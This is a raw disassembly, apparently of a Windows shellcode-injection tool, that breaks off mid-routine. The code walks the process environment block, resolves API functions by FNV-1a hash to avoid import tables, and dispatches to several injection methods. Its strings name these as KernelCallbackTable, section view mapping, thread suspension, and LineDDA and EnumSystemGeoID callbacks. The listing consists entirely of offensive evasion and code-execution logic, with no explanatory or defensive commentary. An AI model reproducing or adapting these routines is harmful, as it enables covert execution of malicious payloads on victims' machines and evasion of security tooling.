lea rax, str.___Launching_a_sacrificial_process_n
mov qword [rsp + 0x690], rax
lea rax, [rsp + 0xcf8]
mov qword [rsp + 0x688], rax
lea rax, [rsp + 0xeb8]
mov qword [rsp + 0x6a8], rax
mov rax, qword [rsp + 0x6a8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xeb8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x738], rax
lea rax, [rsp + 0xea0]
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x730]
mov rcx, qword [rsp + 0x738]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x738]
mov qword [rsp + 0x740], rcx
mov rcx, qword [rsp + 0x740]
mov rdx, qword [rsp + 0x740]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xec0], rcx
mov rcx, qword [rsp + 0x738]
mov edx, dword [rsp + 0xec0]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xec4]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xea0]
mov qword [rsp + 0x728], rax
mov rcx, qword [rsp + 0x728]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002d03a
lea rax, [rsp + 0xea0]
mov qword [rsp + 0x720], rax
mov rax, qword [rsp + 0x720]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x69c], eax
mov eax, dword [rsp + 0x69c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x69c], ecx
cmp eax, 0
je 0x14002d035
movabs rax, 0x66af6570702dbbea
mov qword [rsp + 0x718], rax
mov rax, qword [rsp + 0x718]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x69c]
mov dword [rsp + 0x714], eax
lea rax, [rsp + 0xea0]
mov qword [rsp + 0x708], rax
mov r8, qword [rsp + 0x708]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x714]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x6fc], ecx
mov qword [rsp + 0x6f0], rax
mov eax, dword [rsp + 0x6fc]
mov dword [rsp + 0x6ec], eax
mov rax, qword [rsp + 0x6f0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x6f0], rcx
mov al, byte [rax]
mov byte [rsp + 0x6eb], al
cmp byte [rsp + 0x6eb], 0
je 0x14002cffd
mov cl, byte [rsp + 0x6eb]
mov eax, dword [rsp + 0x6ec]
mov byte [rsp + 0x707], cl
mov dword [rsp + 0x700], eax
mov eax, dword [rsp + 0x700]
mov dword [rsp + 0xbc], eax
movsx eax, byte [rsp + 0x707]
cmp eax, 0x41
jl 0x14002cfc9
movsx eax, byte [rsp + 0x707]
cmp eax, 0x5a
jg 0x14002cfc9
movsx eax, byte [rsp + 0x707]
or eax, 0x20
mov dword [rsp + 0xb8], eax
jmp 0x14002cfd8
movsx eax, byte [rsp + 0x707]
mov dword [rsp + 0xb8], eax
mov eax, dword [rsp + 0xbc]
mov ecx, dword [rsp + 0xb8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x6ec], eax
jmp 0x14002cf38
mov eax, dword [rsp + 0x6ec]
movabs rcx, 0x66af6570702dbbea
mov qword [rsp + 0x6e0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x6e0]
cmp eax, ecx
je 0x14002d070
jmp 0x14002ce99
jmp 0x14002d03a
lea rax, [rsp + 0xeb8]
mov qword [rsp + 0x6b0], rax
mov rax, qword [rsp + 0x6b0]
mov rcx, qword [rax]
mov qword [rsp + 0x6b8], rcx
mov rcx, qword [rsp + 0x6b8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002cdc3
mov eax, dword [rsp + 0x69c]
mov dword [rsp + 0x6dc], eax
lea rax, [rsp + 0xea0]
mov qword [rsp + 0x6d0], rax
mov rax, qword [rsp + 0x6d0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x6c8], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x6c0], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c8]
mov rdx, qword [rsp + 0x6c0]
mov r8d, dword [rsp + 0x6dc]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x6a0], rax
mov rax, qword [rsp + 0x6a0]
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0x690]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0xb0]
call rax
mov r9, qword [rsp + 0x168]
mov r8, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
lea rcx, [rsp + 0xce0]
call fcn.140003de0
mov rax, qword [rsp + 0xcf0]
mov qword [rsp + 0xdb0], rax
movups xmm0, xmmword [rsp + 0xce0]
movaps xmmword [rsp + 0xda0], xmm0
lea rax, str._n___Injecting_shellcode_via_KernelCallbackTable_n
mov qword [rsp + 0x750], rax
lea rax, [rsp + 0xcd8]
mov qword [rsp + 0x748], rax
lea rax, [rsp + 0xee0]
mov qword [rsp + 0x768], rax
mov rax, qword [rsp + 0x768]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xee0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x7f8], rax
lea rax, [rsp + 0xec8]
mov qword [rsp + 0x7f0], rax
mov rax, qword [rsp + 0x7f0]
mov rcx, qword [rsp + 0x7f8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x7f8]
mov qword [rsp + 0x800], rcx
mov rcx, qword [rsp + 0x800]
mov rdx, qword [rsp + 0x800]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xee8], rcx
mov rcx, qword [rsp + 0x7f8]
mov edx, dword [rsp + 0xee8]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xeec]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xec8]
mov qword [rsp + 0x7e8], rax
mov rcx, qword [rsp + 0x7e8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002d41f
lea rax, [rsp + 0xec8]
mov qword [rsp + 0x7e0], rax
mov rax, qword [rsp + 0x7e0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x75c], eax
mov eax, dword [rsp + 0x75c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x75c], ecx
cmp eax, 0
je 0x14002d41a
movabs rax, 0x5da4c867e82889a3
mov qword [rsp + 0x7d8], rax
mov rax, qword [rsp + 0x7d8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x75c]
mov dword [rsp + 0x7d4], eax
lea rax, [rsp + 0xec8]
mov qword [rsp + 0x7c8], rax
mov r8, qword [rsp + 0x7c8]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x7d4]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x7bc], ecx
mov qword [rsp + 0x7b0], rax
mov eax, dword [rsp + 0x7bc]
mov dword [rsp + 0x7ac], eax
mov rax, qword [rsp + 0x7b0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x7b0], rcx
mov al, byte [rax]
mov byte [rsp + 0x7ab], al
cmp byte [rsp + 0x7ab], 0
je 0x14002d3e2
mov cl, byte [rsp + 0x7ab]
mov eax, dword [rsp + 0x7ac]
mov byte [rsp + 0x7c7], cl
mov dword [rsp + 0x7c0], eax
mov eax, dword [rsp + 0x7c0]
mov dword [rsp + 0xac], eax
movsx eax, byte [rsp + 0x7c7]
cmp eax, 0x41
jl 0x14002d3ae
movsx eax, byte [rsp + 0x7c7]
cmp eax, 0x5a
jg 0x14002d3ae
movsx eax, byte [rsp + 0x7c7]
or eax, 0x20
mov dword [rsp + 0xa8], eax
jmp 0x14002d3bd
movsx eax, byte [rsp + 0x7c7]
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0xa8]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x7ac], eax
jmp 0x14002d31d
mov eax, dword [rsp + 0x7ac]
movabs rcx, 0x5da4c867e82889a3
mov qword [rsp + 0x7a0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x7a0]
cmp eax, ecx
je 0x14002d455
jmp 0x14002d27e
jmp 0x14002d41f
lea rax, [rsp + 0xee0]
mov qword [rsp + 0x770], rax
mov rax, qword [rsp + 0x770]
mov rcx, qword [rax]
mov qword [rsp + 0x778], rcx
mov rcx, qword [rsp + 0x778]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002d1a8
mov eax, dword [rsp + 0x75c]
mov dword [rsp + 0x79c], eax
lea rax, [rsp + 0xec8]
mov qword [rsp + 0x790], rax
mov rax, qword [rsp + 0x790]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x788], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x780], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x788]
mov rdx, qword [rsp + 0x780]
mov r8d, dword [rsp + 0x79c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x760], rax
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0xa0], rax
mov rcx, qword [rsp + 0x750]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0xa0]
call rax
mov rax, qword [rsp + 0xda0]
mov qword [rsp + 0xcc0], rax
mov rax, qword [rsp + 0xda8]
mov qword [rsp + 0xcc8], rax
mov rax, qword [rsp + 0xdb0]
mov qword [rsp + 0xcd0], rax
lea rcx, [rsp + 0xcc0]
call fcn.14000c3d0
jmp 0x14002ee87
lea rax, str.___Injecting_shellcode_via_Section_View_Mapping_n
mov qword [rsp + 0x810], rax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0x808], rax
lea rax, [rsp + 0xf08]
mov qword [rsp + 0x828], rax
mov rax, qword [rsp + 0x828]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xf08]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x8b8], rax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x8b0], rax
mov rax, qword [rsp + 0x8b0]
mov rcx, qword [rsp + 0x8b8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x8b8]
mov qword [rsp + 0x8c0], rcx
mov rcx, qword [rsp + 0x8c0]
mov rdx, qword [rsp + 0x8c0]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xf10], rcx
mov rcx, qword [rsp + 0x8b8]
mov edx, dword [rsp + 0xf10]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xf14]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x8a8], rax
mov rcx, qword [rsp + 0x8a8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002d801
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x8a0], rax
mov rax, qword [rsp + 0x8a0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x81c], eax
mov eax, dword [rsp + 0x81c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x81c], ecx
cmp eax, 0
je 0x14002d7fc
movabs rax, 0xeddde4a96d590c8
mov qword [rsp + 0x898], rax
mov rax, qword [rsp + 0x898]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x81c]
mov dword [rsp + 0x894], eax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x888], rax
mov r8, qword [rsp + 0x888]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x894]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x87c], ecx
mov qword [rsp + 0x870], rax
mov eax, dword [rsp + 0x87c]
mov dword [rsp + 0x86c], eax
mov rax, qword [rsp + 0x870]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x870], rcx
mov al, byte [rax]
mov byte [rsp + 0x86b], al
cmp byte [rsp + 0x86b], 0
je 0x14002d7c4
mov cl, byte [rsp + 0x86b]
mov eax, dword [rsp + 0x86c]
mov byte [rsp + 0x887], cl
mov dword [rsp + 0x880], eax
mov eax, dword [rsp + 0x880]
mov dword [rsp + 0x9c], eax
movsx eax, byte [rsp + 0x887]
cmp eax, 0x41
jl 0x14002d790
movsx eax, byte [rsp + 0x887]
cmp eax, 0x5a
jg 0x14002d790
movsx eax, byte [rsp + 0x887]
or eax, 0x20
mov dword [rsp + 0x98], eax
jmp 0x14002d79f
movsx eax, byte [rsp + 0x887]
mov dword [rsp + 0x98], eax
mov eax, dword [rsp + 0x9c]
mov ecx, dword [rsp + 0x98]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x86c], eax
jmp 0x14002d6ff
mov eax, dword [rsp + 0x86c]
movabs rcx, 0xeddde4a96d590c8
mov qword [rsp + 0x860], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x860]
cmp eax, ecx
je 0x14002d837
jmp 0x14002d660
jmp 0x14002d801
lea rax, [rsp + 0xf08]
mov qword [rsp + 0x830], rax
mov rax, qword [rsp + 0x830]
mov rcx, qword [rax]
mov qword [rsp + 0x838], rcx
mov rcx, qword [rsp + 0x838]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002d58a
mov eax, dword [rsp + 0x81c]
mov dword [rsp + 0x85c], eax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0x850], rax
mov rax, qword [rsp + 0x850]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x848], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x840], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x848]
mov rdx, qword [rsp + 0x840]
mov r8d, dword [rsp + 0x85c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x820], rax
mov rax, qword [rsp + 0x820]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x810]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0x90]
call rax
mov rcx, qword [rsp + 0x180]
call fcn.1400120b0
jmp 0x14002ee87
lea rax, str.___Injecting_shellcode_via_Thread_Suspension_n
mov qword [rsp + 0x8d0], rax
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x8c8], rax
lea rax, [rsp + 0xf30]
mov qword [rsp + 0x8e8], rax
mov rax, qword [rsp + 0x8e8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xf30]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x978], rax
lea rax, [rsp + 0xf18]
mov qword [rsp + 0x970], rax
mov rax, qword [rsp + 0x970]
mov rcx, qword [rsp + 0x978]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x978]
mov qword [rsp + 0x980], rcx
mov rcx, qword [rsp + 0x980]
mov rdx, qword [rsp + 0x980]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xf38], rcx
mov rcx, qword [rsp + 0x978]
mov edx, dword [rsp + 0xf38]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xf3c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xf18]
mov qword [rsp + 0x968], rax
mov rcx, qword [rsp + 0x968]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002dbb3
lea rax, [rsp + 0xf18]
mov qword [rsp + 0x960], rax
mov rax, qword [rsp + 0x960]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x8dc], eax
mov eax, dword [rsp + 0x8dc]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x8dc], ecx
cmp eax, 0
je 0x14002dbae
movabs rax, 0x8006497bba8de1
mov qword [rsp + 0x958], rax
mov rax, qword [rsp + 0x958]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x8dc]
mov dword [rsp + 0x954], eax
lea rax, [rsp + 0xf18]
mov qword [rsp + 0x948], rax
mov r8, qword [rsp + 0x948]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0x954]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x93c], ecx
mov qword [rsp + 0x930], rax
mov eax, dword [rsp + 0x93c]
mov dword [rsp + 0x92c], eax
mov rax, qword [rsp + 0x930]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x930], rcx
mov al, byte [rax]
mov byte [rsp + 0x92b], al
cmp byte [rsp + 0x92b], 0
je 0x14002db76
mov cl, byte [rsp + 0x92b]
mov eax, dword [rsp + 0x92c]
mov byte [rsp + 0x947], cl
mov dword [rsp + 0x940], eax
mov eax, dword [rsp + 0x940]
mov dword [rsp + 0x8c], eax
movsx eax, byte [rsp + 0x947]
cmp eax, 0x41
jl 0x14002db42
movsx eax, byte [rsp + 0x947]
cmp eax, 0x5a
jg 0x14002db42
movsx eax, byte [rsp + 0x947]
or eax, 0x20
mov dword [rsp + 0x88], eax
jmp 0x14002db51
movsx eax, byte [rsp + 0x947]
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x8c]
mov ecx, dword [rsp + 0x88]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x92c], eax
jmp 0x14002dab1
mov eax, dword [rsp + 0x92c]
movabs rcx, 0x8006497bba8de1
mov qword [rsp + 0x920], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x920]
cmp eax, ecx
je 0x14002dbe9
jmp 0x14002da12
jmp 0x14002dbb3
lea rax, [rsp + 0xf30]
mov qword [rsp + 0x8f0], rax
mov rax, qword [rsp + 0x8f0]
mov rcx, qword [rax]
mov qword [rsp + 0x8f8], rcx
mov rcx, qword [rsp + 0x8f8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002d93c
mov eax, dword [rsp + 0x8dc]
mov dword [rsp + 0x91c], eax
lea rax, [rsp + 0xf18]
mov qword [rsp + 0x910], rax
mov rax, qword [rsp + 0x910]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x908], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x900], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x908]
mov rdx, qword [rsp + 0x900]
mov r8d, dword [rsp + 0x91c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x8e0], rax
mov rax, qword [rsp + 0x8e0]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x8d0]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0x80]
call rax
mov rcx, qword [rsp + 0x180]
call fcn.140017310
jmp 0x14002ee87
lea rax, str.___Executing_shellcode_via_LineDDA_Callback_n
mov qword [rsp + 0x990], rax
lea rax, [rsp + 0xca8]
mov qword [rsp + 0x988], rax
lea rax, [rsp + 0xf58]
mov qword [rsp + 0x9a8], rax
mov rax, qword [rsp + 0x9a8]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xf58]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xa38], rax
lea rax, [rsp + 0xf40]
mov qword [rsp + 0xa30], rax
mov rax, qword [rsp + 0xa30]
mov rcx, qword [rsp + 0xa38]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xa38]
mov qword [rsp + 0xa40], rcx
mov rcx, qword [rsp + 0xa40]
mov rdx, qword [rsp + 0xa40]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xf60], rcx
mov rcx, qword [rsp + 0xa38]
mov edx, dword [rsp + 0xf60]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xf64]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xf40]
mov qword [rsp + 0xa28], rax
mov rcx, qword [rsp + 0xa28]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002df56
lea rax, [rsp + 0xf40]
mov qword [rsp + 0xa20], rax
mov rax, qword [rsp + 0xa20]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x99c], eax
mov eax, dword [rsp + 0x99c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0x99c], ecx
cmp eax, 0
je 0x14002df51
movabs rax, 0x834284e53cac80b5
mov qword [rsp + 0xa18], rax
mov rax, qword [rsp + 0xa18]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0x99c]
mov dword [rsp + 0xa14], eax
lea rax, [rsp + 0xf40]
mov qword [rsp + 0xa08], rax
mov r8, qword [rsp + 0xa08]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xa14]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0x9fc], ecx
mov qword [rsp + 0x9f0], rax
mov eax, dword [rsp + 0x9fc]
mov dword [rsp + 0x9ec], eax
mov rax, qword [rsp + 0x9f0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0x9f0], rcx
mov al, byte [rax]
mov byte [rsp + 0x9eb], al
cmp byte [rsp + 0x9eb], 0
je 0x14002df19
mov cl, byte [rsp + 0x9eb]
mov eax, dword [rsp + 0x9ec]
mov byte [rsp + 0xa07], cl
mov dword [rsp + 0xa00], eax
mov eax, dword [rsp + 0xa00]
mov dword [rsp + 0x7c], eax
movsx eax, byte [rsp + 0xa07]
cmp eax, 0x41
jl 0x14002deee
movsx eax, byte [rsp + 0xa07]
cmp eax, 0x5a
jg 0x14002deee
movsx eax, byte [rsp + 0xa07]
or eax, 0x20
mov dword [rsp + 0x78], eax
jmp 0x14002defa
movsx eax, byte [rsp + 0xa07]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x7c]
mov ecx, dword [rsp + 0x78]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x9ec], eax
jmp 0x14002de63
mov eax, dword [rsp + 0x9ec]
movabs rcx, 0x834284e53cac80b5
mov qword [rsp + 0x9e0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0x9e0]
cmp eax, ecx
je 0x14002df8c
jmp 0x14002ddc4
jmp 0x14002df56
lea rax, [rsp + 0xf58]
mov qword [rsp + 0x9b0], rax
mov rax, qword [rsp + 0x9b0]
mov rcx, qword [rax]
mov qword [rsp + 0x9b8], rcx
mov rcx, qword [rsp + 0x9b8]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002dcee
mov eax, dword [rsp + 0x99c]
mov dword [rsp + 0x9dc], eax
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x9d0], rax
mov rax, qword [rsp + 0x9d0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
add rcx, rdx
mov qword [rsp + 0x9c8], rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x24]
add rcx, rdx
mov qword [rsp + 0x9c0], rcx
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c8]
mov rdx, qword [rsp + 0x9c0]
mov r8d, dword [rsp + 0x9dc]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x9a0], rax
mov rax, qword [rsp + 0x9a0]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x990]
call fcn.14002f000
mov rcx, rax
mov rax, qword [rsp + 0x70]
call rax
call fcn.14001bfa0
jmp 0x14002ee87
lea rax, str.___Executing_shellcode_via_EnumSystemGeoID_Callback_n
mov qword [rsp + 0xa50], rax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0xa48], rax
lea rax, [rsp + 0xf80]
mov qword [rsp + 0xa68], rax
mov rax, qword [rsp + 0xa68]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov qword [rax], rcx
mov rax, qword [rsp + 0xf80]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xaf8], rax
lea rax, [rsp + 0xf68]
mov qword [rsp + 0xaf0], rax
mov rax, qword [rsp + 0xaf0]
mov rcx, qword [rsp + 0xaf8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xaf8]
mov qword [rsp + 0xb00], rcx
mov rcx, qword [rsp + 0xb00]
mov rdx, qword [rsp + 0xb00]
movsxd rdx, dword [rdx + 0x3c]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rsp + 0xf88], rcx
mov rcx, qword [rsp + 0xaf8]
mov edx, dword [rsp + 0xf88]
add rcx, rdx
mov qword [rax + 8], rcx
mov ecx, dword [rsp + 0xf8c]
mov dword [rax + 0x10], ecx
lea rax, [rsp + 0xf68]
mov qword [rsp + 0xae8], rax
mov rcx, qword [rsp + 0xae8]
mov rax, qword [rcx + 8]
cmp rax, qword [rcx]
je 0x14002e2eb
lea rax, [rsp + 0xf68]
mov qword [rsp + 0xae0], rax
mov rax, qword [rsp + 0xae0]
mov rax, qword [rax + 8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xa5c], eax
mov eax, dword [rsp + 0xa5c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [rsp + 0xa5c], ecx
cmp eax, 0
je 0x14002e2e6
movabs rax, 0x4f1ec4464898f8cc
mov qword [rsp + 0xad8], rax
mov rax, qword [rsp + 0xad8]
shr rax, 0x20
mov ecx, eax
mov eax, dword [rsp + 0xa5c]
mov dword [rsp + 0xad4], eax
lea rax, [rsp + 0xf68]
mov qword [rsp + 0xac8], rax
mov r8, qword [rsp + 0xac8]
mov rax, qword [r8]
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
mov r8d, dword [r8 + 0x20]
add rdx, r8
mov r8d, dword [rsp + 0xad4]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov dword [rsp + 0xabc], ecx
mov qword [rsp + 0xab0], rax
mov eax, dword [rsp + 0xabc]
mov dword [rsp + 0xaac], eax
mov rax, qword [rsp + 0xab0]
mov rcx, rax
add rcx, 1
mov qword [rsp + 0xab0], rcx
mov al, byte [rax]
mov byte [rsp + 0xaab], al
cmp byte [rsp + 0xaab], 0
je 0x14002e2ae
mov cl, byte [rsp + 0xaab]
mov eax, dword [rsp + 0xaac]
mov byte [rsp + 0xac7], cl
mov dword [rsp + 0xac0], eax
mov eax, dword [rsp + 0xac0]
mov dword [rsp + 0x6c], eax
movsx eax, byte [rsp + 0xac7]
cmp eax, 0x41
jl 0x14002e283
movsx eax, byte [rsp + 0xac7]
cmp eax, 0x5a
jg 0x14002e283
movsx eax, byte [rsp + 0xac7]
or eax, 0x20
mov dword [rsp + 0x68], eax
jmp 0x14002e28f
movsx eax, byte [rsp + 0xac7]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x68]
xor eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0xaac], eax
jmp 0x14002e1f8
mov eax, dword [rsp + 0xaac]
movabs rcx, 0x4f1ec4464898f8cc
mov qword [rsp + 0xaa0], rcx
movabs rcx, 0xffffffff
and rcx, qword [rsp + 0xaa0]
cmp eax, ecx
je 0x14002e321
jmp 0x14002e159
jmp 0x14002e2eb
lea rax, [rsp + 0xf80]
mov qword [rsp + 0xa70], rax
mov rax, qword [rsp + 0xa70]
mov rcx, qword [rax]
mov qword [rsp + 0xa78], rcx
mov rcx, qword [rsp + 0xa78]
mov rcx, qword [rcx]
mov qword [rax], rcx
jmp 0x14002e083
mov eax, dword [rsp + 0xa5c]
mov dword [rsp + 0xa9c], eax
lea rax, [rsp + 0xf68]
mov qword [rsp + 0xa90], rax
mov rax, qword [rsp + 0xa90]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 0x1c]
